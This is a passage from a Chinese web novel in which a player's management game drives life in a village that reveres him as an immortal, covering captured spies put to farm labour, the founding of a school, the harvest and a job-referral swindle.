除却对李娘子的敬佩外,再剩下的便是反思。 仙人曾说过,要趋近喜欢之事,逃离消耗自己之事,那李娘子的丈夫对她来说,便属于是消耗她的存在,但李娘子奋力反抗,终归离开了他,自己努力后获得了更好的生活。 现实中,像李娘子这般的妇人不少,但她们没有勇气选择离开,更糟糕的是,她们和以前的自己一样,压根不知道这些让她们难过的事是消耗。 思及此处,张氏突然想到那功德箱内的这笔钱应该用来干什么。 ——开学堂。 只有说学习知识,才能知道世间真理,才能对是非对错有自己的想法,而非人云亦云。 张氏有幸在学堂学习了数个月,此刻懂的道理要远比数月前的自己懂得多。 再回顾先前,张氏赫然发觉,自己原先都是属于一种混沌的未开蒙状态。 ——世间众人怎么做,她便怎么做,毫无思想,她所认为的思想,全部是被当下世道强行灌输进来的。 思考到这里,张氏眼神坚定,打算复命时提议开学堂。 而躲藏在暗处的杨木几人,则在看到张氏频频变幻脸色时,紧张得双手直抖。 难道对方这是发现了他们? 正浑身冰凉之际,那张氏却是突然钻入客栈内。 杨木蹙眉,正纠结对方是不是发现了自己一行人时,却见那钻进去的张氏再次出来了,跟在她身后的有两个妇人。 三人手中端着酸辣粉,直冲他们躲藏的角落而来。 杨木:???!!! 反应过来想跑的四人,这会早已来不及。 若此刻出逃,反而会百分百暴露。 杨木强逼自己冷静,随后按住了欲跑的三人。 低声道:“别跑,赌一把,这会想跑也晚了。” 三人点头,冷汗忍不住狂流。 而就在呼吸间,张氏的声音已经响了起来。 这声音带着笑,但不知为何,杨木却感觉浑身忍不住地发冷。 “你们四人是外地来的吧?估计饿了很久,先吃点东西吧。” 第53章 四枚棋子 不等杨木四人拒绝,张氏便已经将酸辣粉端到了四人眼前。 酸辣粉泛着红油,酸辣的味道直奔天灵盖,最上面放着的一抹翠绿惹得四人忍不住地直咽口水。 但想到这酸辣粉的诡异后,杨木根本不敢吃。 只能硬着头皮婉拒。 “多谢娘子美意,只是我们四人无口福,均不能吃辣。” 张氏并未将酸辣粉端走,而是将筷子塞进这四人手中,笑吟吟道。 “我家酸辣粉一点都不辣,是那种香麻的口感,不碍事,不信你闻闻。” 这个时候再拒绝反而显得过于刻意,杨木犹豫片刻,准备低头嗅完后再拒绝,其余三人也做出了同样的动作。 等到杨木仔细嗅时,那股鲜香麻辣滋味几乎是瞬间就让他口水直冒。 忍住不看这酸辣粉,杨木刚想拒绝,却不知为何,眼前所见之物均模糊起来。 不好——本以为那酸辣粉内里有问题,结果没想到这张氏早在他闻味道时便使诈了。 脑袋越来越疼,随即,杨木再也支撑不住,眼前一黑,跌倒在地。 而他手中的酸辣粉摔碎在地,汤汤水水的,流了一地。 那三人皆是如此。 而此刻,张氏面颊上不再带笑。 她身后走出来更多的人,合力将这四人捆绑后带进厨房内。 问及该如何处置这四人时,张氏表示要请示仙师。 ——倒是凑巧,原先她收拾完东西正打算回去,却意外余光看到了正在窥视着她的四人。 其实先前在展出酸辣粉时,张氏常能遇到这样窥视的眼神,但这次,她却发觉眼前四人似乎有些眼熟。 再仔细一打量,张氏赫然发现,这四人中竟有一人是那城中的官兵。 原先她们在城内摆摊时,曾见过那负责巡逻的官兵,这才能让她认出这四人的真实身份来。 想到自己一行人在风仙县内闹出的一幕,张氏自知是官府派人来打探村内实情了。 虽说有仙师作为后盾她一点也不慌,但既然官兵前来,后续可能对方还有别的手段需要防范。 思及此事,张氏微微一琢磨,便知晓对方四人可能是盯上了她。 眼看四人对她端出来的酸辣粉如此提防后,张氏果断用药将四人迷晕。 等到杨木四人悠悠转醒后,却绝望发现,他们四人被人绑了起来,这会像是被随意扔到了柴房内。 这屋内的环境十分一般,但更令人绝望的是,他们四人被捆得结结实实,丝毫逃跑机会都没有。 一天下来,只有在天黑后屋外才会有人隔着门,给他们扔进来四个叫地瓜的东西充饥。 送饭的有男有女,但无一例外对四人态度恶劣。 “要不是仙师最近忙碌,无暇处置你们,不然连这地瓜你也吃不上,欺压百姓的蛀虫们。” 杨木四人想反驳自己并未做过欺压百姓之事,但再一想,与恶人为伍,即使没做过坏事,也依旧会被归结为那一类人中。 叹了口气,杨木咀嚼着生地瓜,本以为这东西估计很难吃,但令人意外的是,这味道还不错,有一种清新的甘甜味。 等到四人浑浑噩噩地不知在屋内呆了多久后,终于,紧闭的柴门被打开了。 张氏站在屋外,眼神不加掩饰地带着厌恶。 “仙师说了,既然是官兵的走狗,便先留在村里做苦力,等到苦力做够了再酌情处置。” 说完这话,另有村民冲进来,将四人押着前往田地做活。 而张氏脑内则还在回想仙师的叮嘱。 先前在捉到这四人后,张氏立即禀告了仙师。 而与此同时,姜定的屏幕上也弹跳出来新的提示。 【你的工人张氏似乎有话要对你说,是否选择查看?】 正在忙着打算给潜灵山再建一个仓库的姜定顿时来了精神。 在选择查看后,游戏弹跳出来新的选项。 【呀,被风仙县的官兵追到老家来了,你的反击是:】 【A.直接击杀四人,以树立仙人威严形象。】 【B.做超级窝囊废,好吃好喝招待四人,让四人回去后替你美言几句。】 【C.策反敌人,先以劳役待之,再以常礼待之,后放走四人,让四人回去策反同伙。】 A选项直接击杀是比较省事,但总感觉好像错过了什么重要剧情 B选项,太窝囊,不是他的选择癖好。 C选项有点意思,看着像是能搞事的选项。 作为玩家,自然是越搞事的选项选起来越有趣啊! 姜定握着鼠标的手,坚定地选择了C选项。 在他选定选项后,C选项变幻成一道金光消散。 【你选择了C选项你封地的影响力提高了别的区域的民心下降了(注:特殊事件发生概率增加)】 看到隐藏选项出现后,姜定暗叹自己还是游戏经验太丰富了。 而此刻,张氏则在听到仙师的安排后,先是沉默,随即感慨。 “仙师这招果然高啊,瓦解敌人还是需要从内部瓦解最为致命。 有时候敌人不会相信对手的言语,但是却会相信同伙的言语。” 张氏完全没想过这四人若是不按照仙师所想该如何办,在她心中,仙师所说定是推演计算后的结果,她只需要按照仙师的吩咐去做便是。 不过,这杨木四人均是官兵,身手不错,若是他们日后反击该如何是好? 张氏表达担忧,倒是脑内仙师缓缓道。 “无妨,他们四人已被我设下禁锢之术,在没有我的允许前,无法攻击,也无法逃跑,你放心驱使便是。” 张氏安心应下,心想果然如此。 而被处置的杨木四人,此刻人已经被撵到了种着地瓜和大豆的农地里。 负责看押四人的农人们将锄头和镰刀递给这四人,在告知对方需要做的农活后,农人相继离开,只留下四人在原地大眼瞪小眼。 其实杨木也有些懵。 不是?这是哪门子的看守方式?怎么没个人看着他们?就不怕他们跑了? 话说,这些人纯外行啊,竟然连手铐脚镣都不上,他们四人若是不逃跑,都对不起现在这状况。 杨木和其余三人互相对视一眼,都看出了大家想逃跑的决心。 等到确定那些农人走远了后,三人立即拎着锄头,镰刀就跑。 中间不知道是谁跑得过快,一个踉跄,滚落在地。 杨木忙去拉跌倒的那人,结果不知为何,自己的手和脚均不能动弹。 ——被下毒了? 脑内刚闪过这个念头,四人便狠狠地摔在地上。 四人无一人能动作,而在这期间,杨木绝望地发现,附近竟然没有农人注意到这件事。 保持僵硬的姿态半个时辰后,四人感觉自己的手脚均要折断了。 这会别说不想被人发现,现在的四人,满脑子想着赶快来人发现他们成了这幅鬼样子,最好赶紧给他们弄回去,哪怕回去种地也行啊! 似乎是感受到了四人的绝望,杨木惊喜地发现,自己的手脚竟然能动了! ——药效缓过来了? 抱着机不可失时不再来的想法,四人一鼓作气,打算继续逃跑。 结果在下一秒,原先活动自如的手脚却突然再度生涩。 且相比于先前僵硬的程度来说,更为严重。 除了手脚被弯折以外,杨木察觉自己的腰正以一个异常诡异的方式往下折叠过去。 剧烈的痛楚让四人忍不住叫喊起来。 杨木疼得冷汗直流,疼得意识模糊间,脑内瞬间意识到了某种可能。 ——有没有可能是因为他们想逃跑,所以手脚才会不听使唤?而当他们决心回去继续种地时,那个时候他们的手脚是能动的状态 杨木飞快回忆着先前发生的种种,发现症状加重的原因是因为他们四人第二次逃跑时引起的。 腰部依旧剧痛,杨木赶紧诚心发誓,不会逃跑,会回去乖乖种地后,几乎瞬间,原先压制住他的那股力量,此刻却莫名消失不见。 等到确认这股神秘力量竟然是真的存在后,分明天还带着燥,杨木却忍不住濡湿了后背。 怪不得那些村民会那般放心地离开,本以为是他们粗心大意,结果原来是因为根本不需要寻常的看管手段。 先前他还想着有机会逃跑,而现在他们四人被这股神秘力量禁锢,别说逃跑,恐怕以后都将要被禁锢在此地一辈子。 想到这个可能后,四人的脸色都十分难看。 但此刻,若不回去种田,恐要发生什么他们不曾了解的坏事,四人忙小跑着回去,用村民给发的镰刀,锄头勤勤恳恳地翻着地瓜,割着大豆杆子。 此刻大豆早就呈现出金黄色的模样,看样子是完全熟透了。 田地间依旧燥热,四人干了有一个多时辰,各个觉得脑袋发晕发沉。 但那些村民说过,他们四人,每人必须每日要干够5亩地才有饭吃。 要是今日偷懒,没干够5亩地,那不仅今日饭菜没有,明日要干的活只会往上累计。 怪不得没人看管着他们,毕竟时间是有限的,他们浪费时间去逃跑,谁能想到不仅没能跑走,反而浪费了完成任务的时间? 四人眼神带着绝望,但眼下也没什么更好的破解之法,只能无奈照做。 等到戌时,杨木四人这才将任务完成,好在晚上虽说视线不好,但月光足够皎洁,四人这才能堪堪完成今日任务。 既然今日完成了,四人这才想着去吃饭的地方吃一口饭菜去。 而等到到地方时,那饭菜窗口的人早就离开了。 唯有地上给四人留下的四个地瓜,正和杨木四人大眼对小眼 又见面了。 第54章 帮忙 斗坡村。 正值农忙,先前套种种植的地瓜和大豆成熟了,眼看田里金黄色的豆荚各个鼓鼓囊囊,里正便忍不住露出笑容。 ——太好了,仙师传授的套种之法果然有用,不仅一亩地能多方位利用,且这两物收成都极好。 他刚才翻开土地看了一遍,那地瓜各个至少有成人3个拳头那么大,大豆的豆荚和往年种植出来的瘪瘪的大豆不同,这大豆明显更为饱满,圆润,且里正察觉,这大豆豆荚的数量,也比原先数量要多出许多。 眼瞅着到了收获的日子,里正的心逐渐跳跃飞扬。 不过可惜的是,他家里人几乎都被仙师安排了别的任务,自家的田地收割他一个人估计忙不过来了。 他先自行收割,等别人家收割完后,他或许可以花钱雇人帮自己收割,省得半年的辛苦全都烂在地里。 农忙时机太重要,里正脑内闪过万千思绪,这会扛着锄头,背后背着镰刀,往田里走的步伐更加快了几步。 他身后还跟着家里的几个孩子,五个小萝卜头年纪不大,这会整整齐齐地跟在自家阿公身后,傻呵呵地笑着。 里正将锄头拿好,开始一亩一亩地挖掘地瓜,而五个孩子则是拿着镰刀,忙着去收割大豆。 因孩子年纪小,收割起来的速度自然慢一些,里正倒是时不时用余光看看孩子们,生怕自家孩子累着了。 等收割了有一个时辰后,里正连忙将五个孩子撵回家去。 “快回去吧,你们都回去歇会,阿公再干一会回家。” 孩子岁数小,最大的不过十岁,最小的才6岁,要是累着了导致生病,他才是心里不得劲。 孩子虽小,但各个乖巧懂事,眼瞅着阿公还在继续干活,五个孩子说什么也不回去,非要一起回家。 最后还是9岁的小女孩提出她先回去做饭,等晌午过来送饭。 妹妹的提议很有道理,最大的张大郎点头同意,因6岁的小弟弟干不了太多活计,被他撵回家帮着张小娘干活。 里正看着孩子们的动作,顿觉欣慰。 走了两个孩子,剩下他和三个年岁稍大的孩子们还在田间干活。 里正埋头干活时,察觉到似乎有个人影出现在自己眼前,抬头去看,看见的便是杨家两兄弟。 这杨家二人此刻状态和原先刚来斗坡村时完全不同,光看模样,就能感觉到二人重获新生。 里正忍不住去瞧两人。 这杨家大哥最近在斗坡村负责送货的工作,因不能说话,干活又肯卖力气,为人本分老实,倒是意外地受客户可怜,平时有活计的话,那些好心的客户甚至都愿意让他干了,得了这份好差事。 里正倒是很快便能想明白其中的弯弯绕绕,一是因为这杨家大哥不能说话,所以相对来说客户觉得不会透露自家隐秘,二是因为哑巴,倒是真能得到好心人的怜惜。 眼前杨延也和原先不相似,原先的孩子气飞速退却,现在杨延比原先看着要更加沉稳可靠。 “你们这有什么事?” 里正摸不透这两人的想法,却听杨延带笑道:“里正,听闻您老家中无人能帮忙收割,我和我大哥特意过来添把手。” 里正连忙摆手拒绝。 “别别别,你们干自家的活便是,我自己能干,别耽误了你家的事。” 杨延微微一笑,对里正的拒绝充耳不闻。 “里正,您救我们一家于危难之中,让我们能在村里落个脚安顿下来,我们自是感激不尽,现在农忙,家家户户都忙不过来,您找人也难找。 再说,农忙这几日,前来要货的人也不多,大哥这几日也无甚么好差事要做,且我那差事也得过些日子,等农忙结束后才去,并不存在耽误。 还请里正不要拒绝。” 边说,杨家大哥从背后拿出一把镰刀,二话不说,已经开始收割起大豆。 杨延拿出锄头,在里正附近翻着地瓜。 两人压根不听自己的拒绝,里正“哎哎哎”了好几声,均被两人忽视。 被忽视的里正:怎么不让干活还急眼了呢? 不过杨延给出的解释过于真诚,他实在是找不到理由拒绝。 愣神了几秒,里正注意到这两人早将自己甩在了身后。 这会不由诧异。 ——什么时候,这杨家二人这么会干农活了? 记得刚来的时候,杨延干活均有些笨手笨脚之感,那杨家大哥也是如此,谁能晓得,几个月后,这两人摇身一变,竟要将他干了一辈子农活的人抛在身后。 里正连忙挥舞着锄头,等到又干了一个时辰后,张小娘带着弟弟来田间送饭。 里正瞄到孙女来了后,忙开口喊两人歇会,吃口饭。 就等着的功夫,田埂却又出现了一人。 里正定睛一看,看到的便是那杨家娘子。 杨娘子人生得柔弱温婉,自带一副书卷气,看着便不像是能干活的人,里正生怕对方要下田,余光却瞄到了对方拎着的饭盒。 ——哦,看来是给兄弟两送饭的。 一行人过去,杨娘子端出来一个带着盖子的小盆子,让众人洗洗手。 趁着众人洗手的功夫,杨娘子打开那大饭盒,顿时四处飘香。 里正忍不住嗅了嗅这味,没猜错的话,是豆腐炖肉?仔细闻闻,里面似乎还有甜味。 到底是别人家的饭食,里正不好再看,打开自家孙女送来的饭菜,是蒸地瓜,除却地瓜以外,还炖了白菜萝卜粉条,看上去也不错,不过确实要比杨娘子的手艺差上许多。 有饭吃,里正已经觉得很满意了,想到杨家兄弟过来添把手,他不能叫人吃不上饭菜。 连忙喊人。 “来吃点东西,杨大郎,杨小郎。” 杨娘子笑吟吟道:“里正,我不像夫君和小郎能够下田,倒是能做些吃食给送来,今日做的吃食简单了些,还请不要嫌弃。” 杨娘子说话的功夫,杨延早就将饭菜端过来,里正这才看到杨娘子做的饭菜。 确实是豆腐炖肉,除了豆腐以外,还做了地瓜汤,蒸了粟米。 里正本想推辞,实在是推辞不过,只能带着孩子们吃饭。 饭菜一入口,里正便知,杨娘子手艺确实相当好。 尤其这地瓜汤做得很是有趣,地瓜先切块,后油炸,做汤时加了鸡蛋液进去,又加了红糖,一口下去,软糯香甜的地瓜弥漫在口中,香得让人想吞了舌头。 因红糖珍贵 ,一人只分了一碗便没了,里正端着碗,一口一口,慢慢往肚子里咽,舌尖滚落着糖分的甜意,美得让他直冒泡。 等他喝了一半,看到自家五个孩子喝地瓜汤喝得埋在碗里,抬不起头后,那张老脸顿时一红。 倒是一旁的杨娘子笑眯眯道:“喜欢便好,若之后还有红糖,我便再做一些。” 里正忙拒绝,红糖这般珍贵,怎可随意破费。 等到吃完饭,收拾完碗筷后,眼看杨娘子要走,张小娘终于下定决心,喊住了她。 “杨姨姨,你能教教我做饭吗,感觉姨姨做饭很好吃” 生怕被拒绝,张小娘说完话后,连忙低头看脚尖,倒是里正呵斥道:“杨娘子每日忙碌,哪里有时间教你,你怎么这般胡闹。” 张小娘似也感觉自己提的要求有些过分,连忙挑着碗筷盒子,转身便走,倒是被杨娘子拦住。 杨娘子人温和,说话也是温温柔柔的,但放在张小娘肩上的双手却似乎蕴含着无限的能量。 她缓缓开口,“我素日一个人也呆着无趣,既然小娘想学,里正便让她来,也算是和我一起在家当个伴。” 眼看推脱无望,里正只能叹息着应了。 杨娘子点头,嘱咐明日张小娘不必做饭,过来看她做饭便可。 里正生怕孙女不懂事,心想回去就算是要去,他也得嘱咐孙女,去了带食材,可千万不能傻傻的,什么东西都指望别人出,虽说他当时确实做主让杨家人留在本村,但若是光是凭借以往情谊,挟恩图报的话,这份情谊很快便会消失。 既杨家人都是感恩回报之人,他便收下对方的好意,和对方交好又如何? 等到今日上工结束,里正看了眼田地,心里估计之后的活计估计再干个三天便能结束。 杨家兄弟二人正在收拾东西,看样子是要回家去。 里正刚想和对方说两句话,有一人却突然出现在他眼前。 仔细看去,此人正是张氏。 张氏眼里带着笑,比原先谨小慎微的模样多了几分自信之态。 里正忍不住一阵愕然。 ——总感觉身边人,似乎在仙师的影响下,多少都有些变化且都是好的变化 而张氏此刻则是满心欢喜。 就在刚才,她犹豫许久,终于决定向仙师提出开设学堂的建议。 其实,对于开设学堂,张氏感觉她的要求或许有些异想天开了。 毕竟她们村子目前刚吃饱饭,她便这般迫不及待想开设学堂,会不会步伐迈得太大? 最重要的是,仙师是否会同意她这荒诞的想法? 且建设学堂,聘请老师,采购笔墨纸砚都需要花钱,这些对仙师来说,是否是另一种意义上的麻烦事? 张氏心底犹豫,但犹豫过后,想开设学堂的心依旧未曾停歇,反而愈演愈烈。 最终,她向那位提出这份建议。 而与此同时,姜定的电脑屏幕上出现了一条游戏提示。 【你的工人张氏似乎有些话想说,是否收听?】 张氏? 姜定脑内逐渐浮现出这叫张氏妇人的立绘来,——他记得张氏,立绘看着微微粗糙,不像是特殊剧情人物那般精美。 但是,他好像记得前不久这张氏就和自己说过话? 姜定若有所思地看着这提醒,随后好奇心泛滥,点了个收听。 第55章 学堂 在姜定点了收听的下一秒,熟悉的选项又弹跳出来。 【张氏提议你可以在斗坡村开设学堂,你是否同意?】 【A.不同意,工人不需要开智,只需要听话即可,读书太多容易失去控制,反而对建设不利,花费0两。】 【B.同意,但因资金受限,只允许张氏在本村开学堂,只负责教授本村,算做工人福利,每年花费30两。】 【C.同意,并大力支持此行为,引入义务化教育,广招收,教授对象不限制,每年花费1000两。】??? 姜定有些懵,这三个选项的花费差距是否太大了一些? 因涉及到每年扣费,抠门如姜定则是暗自思忖。 ——A选项乍看之下比较省钱,对某些时代来说,这的确是最常用作的手段,但对他来说真的适用? 他看未必,毕竟他玩了挺久这游戏,逐渐察觉到这游戏想找个各方面数值比较优秀的工人到底有多难。 他先后倒是也机缘巧合找到了几个数值还算不错的工人,但数量实在是太少了! 从游戏开始到现在,他看到的属性最牛的就是那名为祝应的NPC,如果能排序的话,这祝应应该算是神级NPC。 可惜这么牛的NPC只给看不给用,姜定深感心累。 若按照这游戏的尿性,他估计玩到后期都很难遇到属性比较牛的NPC打工人了。 想到这些后,再看眼下剧情时,姜定敏锐地察觉到,这或许是一个即将开放的新功能。 若他选择A选项,估计是要和这新功能失之交臂了。 按照他的经验,若错过这新功能,他不培养人才的话,或许后期建设需要高素质人才时,他便会跌至无人可用的困境! 忍不住打了个寒颤,姜定看这游戏的眼神都不对劲了。 ——这设定简直歹毒啊! 此刻再看看B选项,姜定摇了摇头。 ——光是发展本村,得到村民的认可有什么用,屁大点的地方,人才能有多少? 若是想要中后期有人可用,此时必定需要广招生,在这群人中挑出,培养出最牛的打工人才行。 思来想去,姜定顿然醒悟这游戏三个选项暗含的寓意。 不加犹豫,姜定直接选择了C! 选C好啊,虽说C选项看起来是最花钱的,但按照他玩游戏的经验,这C选项或许才是能带来更大收益的选项! 等他选择完毕,那C选项化作一丝金光,逐渐消散。 【你的选择导致了一些变化 斗坡村的名望提升了斗坡村的人气提升了斗坡村的热度提升了 人才储备增加,多位不知名人物的好感度提升民心提升全民素质提升】 看着弹跳出来的一大串提示后,姜定嘴角压不住笑。 ——就看着一连串的加成就能知道他选择没错了! 毕竟这种游戏有个不成文的规定,选项加成越多,说明此选项是当下最优的选项。 而张氏在提出建议后,回应她的却是长久的沉默。 等张氏惶恐,觉得定是仙师不乐意时,却听那人淡淡道。 “可。” 只一个字,张氏便觉得浑身止不住地颤抖,她想说话,一时间却不知该说什么,倒是仙师清冽如泉的声音缓缓流淌在她耳边。 “既是开设学堂,便广招生,招生对象不限制,无论男女老少,只要是想来学习的,便可前来。 不过这学堂并非免费。” 话说到这里时,张氏顿时提了口气。 并非免费会不会上学价格很贵? 她未开口,而是吊着一口气,静等着仙师继续开口。 “来学堂上学之人,必须在学成后为我工作,直到还清学费。 学堂学费一年为一两,一共三年义务教育,那便是三两。” 张氏在听到这话后,浑身紧绷。 ——一年一两,虽说价格甚是合理,但依旧会有相当多的一部分人不愿意来入学,毕竟如果不上学,这钱可不就省下来了? 若大家都选择不上学,这学堂该如何招生,这等局面又该如何破局? 张氏忍不住忧虑,却被仙师的最后一句话惊得目瞪口呆。 “之后我会开设更多更好的工作,这些工作赚钱会更多,也更为轻松体面,不过前提是门槛会提高,只会录用读书识字的人。 且初始的义务教育为三年,此为初级班,以后只能做初级班对应的工作。 若从初级班晋升成功,便可再继续读三年,这便是中级班,未来能入职中级及以下工作。 若再从中级班晋升成功,便可进入高级班,学习一年后,便在我身边做事,这便是经过挑选后的天才,既是天才,待遇自然该更加高才是。” 话说到这里,仙师那边再也无动静。 而张氏紧绷的心却突然落下,随即摔得四分五裂。 ——她要找的破局之法,没想到仙师轻松便破解了 读书不在是单纯的,无法被量化的投资,当它转化为能看得见的投资时,张氏已经能够想到学堂即将爆满的模样! 张氏刚想问是不是仙人会来教授,但脑内仙师早已消失,她无从询问,只能先去做自己目前能做的事去。 而此刻,游戏屏幕则是弹跳出来一则选项。 【请勾选学堂需要所学的课程(注:只可选择五门,请谨慎选择):语文,数学,英语,生物,化学,历史,文明素养,地理,物理。】 姜定抚了抚下巴,随后选择了【数学,化学,文明素养,地理,物理】。 等选择完毕后,突然出现了一个名为【聘请名师】的按钮。 姜定右眼皮忍不住一跳,顿觉有坑。 等到点开此按钮后,看着眼前名师聘请的日薪后,姜定嘴角忍不住抽搐。 ——抠搜惯了,最多给工人日薪300文,这会突然看到教师日薪为1两,他一时半会还有些接受不能。 但想想看,这好歹是名师,再想想建设学堂每年还需要1000两,突然他就觉得眼前这名师价格也就合理了不少 等到调整完毕薪资后,游戏欢快地提醒。 【义务教育也应该进行适量收费,每年每人收费一两。】 每年一两的进账如何能填平1000多两的花费? 但教育嘛,花点钱也合理。 姜定心在滴血,还不忘安慰自己,随后赶紧点了关闭,一眼都不愿意再看此提醒。 而张氏此刻心中微乱,她想起自己的提议竟然成功被那位采纳后,这会心跳得更为剧烈。 等到冷静下来后,张氏这才想到要先去找里正共同商量此事该如何开展。 当里正听闻仙师对张氏说过的话后,一时半会,竟然是呆愣在原地,久久不能动弹。 不仅仅是里正呆了,就连一旁还未来得及走的杨家兄弟二人,也听得呆在原地。 ——他杨延活了许久,这样的学堂模式倒是从未听过。 且这学堂定价可谓是相当低,一人一两,这价格简直是在做慈善! 杨延自家以前就是书馆,自然是知道笔墨纸砚价格不菲,且最为重要的是,书本价格居高不下,这会再算上学费,一年最少也得近40两。 这40两还是最为省钱的上学法,想过得稍微好点,这点钱都不够看,这也就是为何大部分人都不愿意供养孩子去读书,那是真读不起。 不知这只收费一两的学堂到底会办成何样? 且听张氏的话,之后会出现相当多的一批工作,但需要读书作为门槛。 杨家两兄弟对视一眼,顿觉他们或许之后能有机会去应聘,毕竟他们好歹也读了许久的书,不说能上那中级,高级班,起码初级班没问题吧? 张氏来找里正时,也看到了这杨家两兄弟,但想到她要说的话迟早要被村人知道,倒也没背着人。 良久,久到张氏忍不住要开口之际,里正干涩着嗓音,慢慢开口:“啥时候建学堂?这事一会回去咱们必须告诉大伙。” 张氏缓缓点头,“自然是要告诉大家的,但学堂开设我们还需询问仙师该如何建设。” 毕竟建造学堂是大事,两人均不敢懈怠,刚打算回去再召集人手好好谈论一番学堂建设问题,此刻却有几张纸凭空出现,这纸缓缓飘落,直到张氏伸手去看,这才发觉这纸张上竟是一份关于学堂建设的图纸。 因有的部分太专业,张氏看不懂,索性直接找了村内更为专业的人去看。 建造学堂的时间很快便被敲定,工程队开工的同时,里正早已决定,等到学堂竣工,他便将仙师的话昭告村人。 相比于之后建成的学堂,目前更为重要的是秋收,毕竟这是村民一年的心血。 里正强行拉回思绪,强迫自己将注意力放在眼下的秋收上。 因原先早就和仙师确定过大豆收购价格,里正在秋收结束后,随即挂上了收购需求。 一斤大豆6文钱,暂时没有收购数量限制。 此消息一出,村人纷纷开始晾晒大豆,力求做第一批售出大豆的人。 而杨家兄弟则在帮里正干完农田活计后,纷纷告辞暂离。 ——杨延驾驴去了附近,打算收购大豆,而杨家大哥则是开始忙着运输货物,尤其最近会有不少大豆,地瓜,频繁运输过来,帮忙搬卸的工人数又多了不少。 因地瓜厂和豆腐厂都需要搬运工,张山和孙宁元共同商讨后决定将两个厂子的搬运工归在一处管理,以建成一个名为“货送送”的新组织。 且因最近送货格外忙碌,货送送开始面对附近村落招人了。 第56章 消息通 货送送建立起初是为了两个厂方便管理搬运工而建设的。 现货送送组织内已有五十余名搬运工负责日常送货,原材料入库的搬运。 这五十余人听起来多,但一旦用于地瓜厂以及豆腐厂运营中,这五十余人反而不够。 尤其是最近正值厂子收购加紧,产出增加时,搬运工人手就显得更为短缺。 很快,次日一早,斗坡村民众便在村口处发现一则新招聘。 【货送送现募脚夫五十名,日酬一百五十文,需体魄强健,无宿疾缠身,且为人忠厚老实,行事勤勉踏实,无狡黠之心。若有符合者,速至两厂报名。】 认字的被催着将这则招聘念了出来,等到听清楚招聘内容后,围观的人群轰然炸开。 —— “招脚夫了?日薪给150文!” “竟招收50人!这数量可是不小啊!” “上次招聘的人太少了,俺一身力气,可惜没等俺过去,那里就招满了,这次人多,俺定能被选上。” “得了吧二牛,那招聘除了力气还要看别的地方,你可别自大。” 村民们脸色兴奋,想到那150文日薪后,恨不得各个立即前往那厂子应聘。 很快,有心去应聘的人赶紧匆匆离开,而那已有活计的人只是匆匆一暼,便先行离开,前往工作之处上工。 只有那身体虚弱干不了脚夫活计的人则是暗恨不已。 ——这般气人,招点啥不好,非要招收脚夫,他身子远比一般男人虚弱,如何能受得了这脚夫活计? 这样的人不少,这会因闲来无事,便聚在一起说着话。 有人倒是率先开口。 “脚夫咱们是干不成了,但我听说还有一活计要比脚夫赚的钱还多。” “哦?啥活计?说来听听。” 先说话的那人嘿嘿一笑,随即看了眼周围后,这才得意道:“我听说那豆腐厂有个新工作,叫什么豆腐厂兜售员,主要是负责推销豆腐的,就咱们隔壁村就有一个妇人,靠着这工作每日能赚不少钱呢!且这工作并不需要什么体力,只要会说,能将东西售卖出去,便能行。” 说话的人是附近有名的消息通,众人不疑有他,眼露惊诧。 “这妇人竟然能赚得超过150文?你莫要说胡话!” 消息通不太高兴地瞪了一眼质疑自己的人,“我说甚么胡话,这事可是千真万确,据说那妇人自从做了那甚么兜售员后,不仅住到了新房子,还日日吃肉,好不痛快!” 众人见他描绘得生动,这会不由地琢磨开。 ——若消息通说的话是真的,一妇人都能做成,他们还不比妇人强? 只是就是不知道这工作如何才能得到? 终于有人忍不住开口,想请消息通带自己入职新品兜售员工作。 ——鱼儿上钩了。 消息通心底一喜,脸色却不太好,眉毛甚至都微蹙起来。 周围人一看这表情,心里顿时和打鼓一样。 ——是太难进了? 正纠结犹豫时,却听这消息通叹了口气,随后慢悠悠道:“这想进入这工作确实有些麻烦,需要运转一番才能进去,所以,这” 需要铜板打点啊! 众人反应过来,心里顿时忐忑。 这需要多少铜板打点才能进去? 本都做好了不进的准备,结果那消息通伸出手,比了个1。 “一百文。” 一百文?! 这数字不多不少,若是在那位仙师旗下做活的话,这一百文只是一天的工钱! 几人琢磨犹豫,倒是消息通看了眼他们状态,煽风点火。 “那妇人去了后,听说没过几天便赚到了一百五十文以上,妇人都如此,难道你们几个大男人还不如妇人? 不过这活计我可得事先告诉你们,每月基础工资只有三百文,提成才是大头。” ——基础工资竟只有三百文?这可和别的岗位差距太大了! 眼看几人眼露犹豫,这消息通“啧啧啧”几声,随即抱着胳膊,转身边走,嘴里还嘟囔着。 “你们也太怂了,那妇人一日赚超过150文,200文不是问题,更何况你们是男人,不比妇人出去抛头露面要更方便? 这么好的机会,你们却还在犹豫。 实在干得不行,一个月也有三百文,怎么也比待在家里合适吧?” 眼看消息通要走,几人再也忍不住,小跑着拦下他。 眼看着信息费到位,消息通忍不住眉眼弯弯。 ——成了! 不枉他日日过来蹲守合适的人! 那兜售员工作只有两个门槛,一是口齿伶俐,二是相貌端正,他早就选好了百分百能通过的人,这才将这兜售员工资吹上天。 ——那李娘子的工钱确实高,但他观察过了,人家的模式他可没办法复刻,至少他没人家李娘子的手艺,无法利用新品做出那般好吃的东西,所以便能预见性他定是赚不到这个提成了。 为了验证事实,他甚至也进去体验了一个月,不出意外,以失败告终。 但这可难不倒他,既然赚不到新品兜售的提成钱,但是他能赚想找工作人的钱啊! 于是,他便精心设计了话术,寻找到合适的人选,再前去忽悠这些人。 在他看来,他这可不算忽悠,就像他所言,去了那里至少有三百文底薪,要是狗屎运到了,说不定还能赚不少提成,也不算亏待了这些人,这么一想,消息通顿觉自己已经够可以了。 而被消息通推荐着过去的几人,则在窗口领取新品时,遇到了一得体妇人。 这妇人看着年岁不大,他们并不认识,但看窗口妇人和此人说话密切,几人心中都有了猜测。 ——莫不是那赚钱最多的那妇人? 李娘子拎着篮子,和张娘子说话的功夫,却察觉到窗口处又来了不少新人。 再看看那负责推销此工作的消息通,她缓缓挪开了视线。 其实从前半个月开始,这名叫李文的男子便日日往窗口带人,说起来就是带人过来应聘那兜售员工作。 起初,李娘子还有些紧迫感,但等之后观察片刻后,她便知道这些人并非她的对手,索性放下心,不再关注别人,反而更为关注自己的客户。 先前一个月,她一共是发展了三位长期客户,这些长期客户约定每月月初均需要一定份额的豆豉酱,腐乳,作为府中预备。 至于酒楼销售的话,她倒是运气好,售卖出去不少酱料,不过可惜的是,目前为止,暂未能获得稳定客户,只能说后续再看情况。 上个月工资外加上提成,李娘子共计收入6两。 这可是一笔不小的收入,更不用说那些被她拉拢过来的长期客户,之后依旧会忠实地给她贡献出不少提成来。 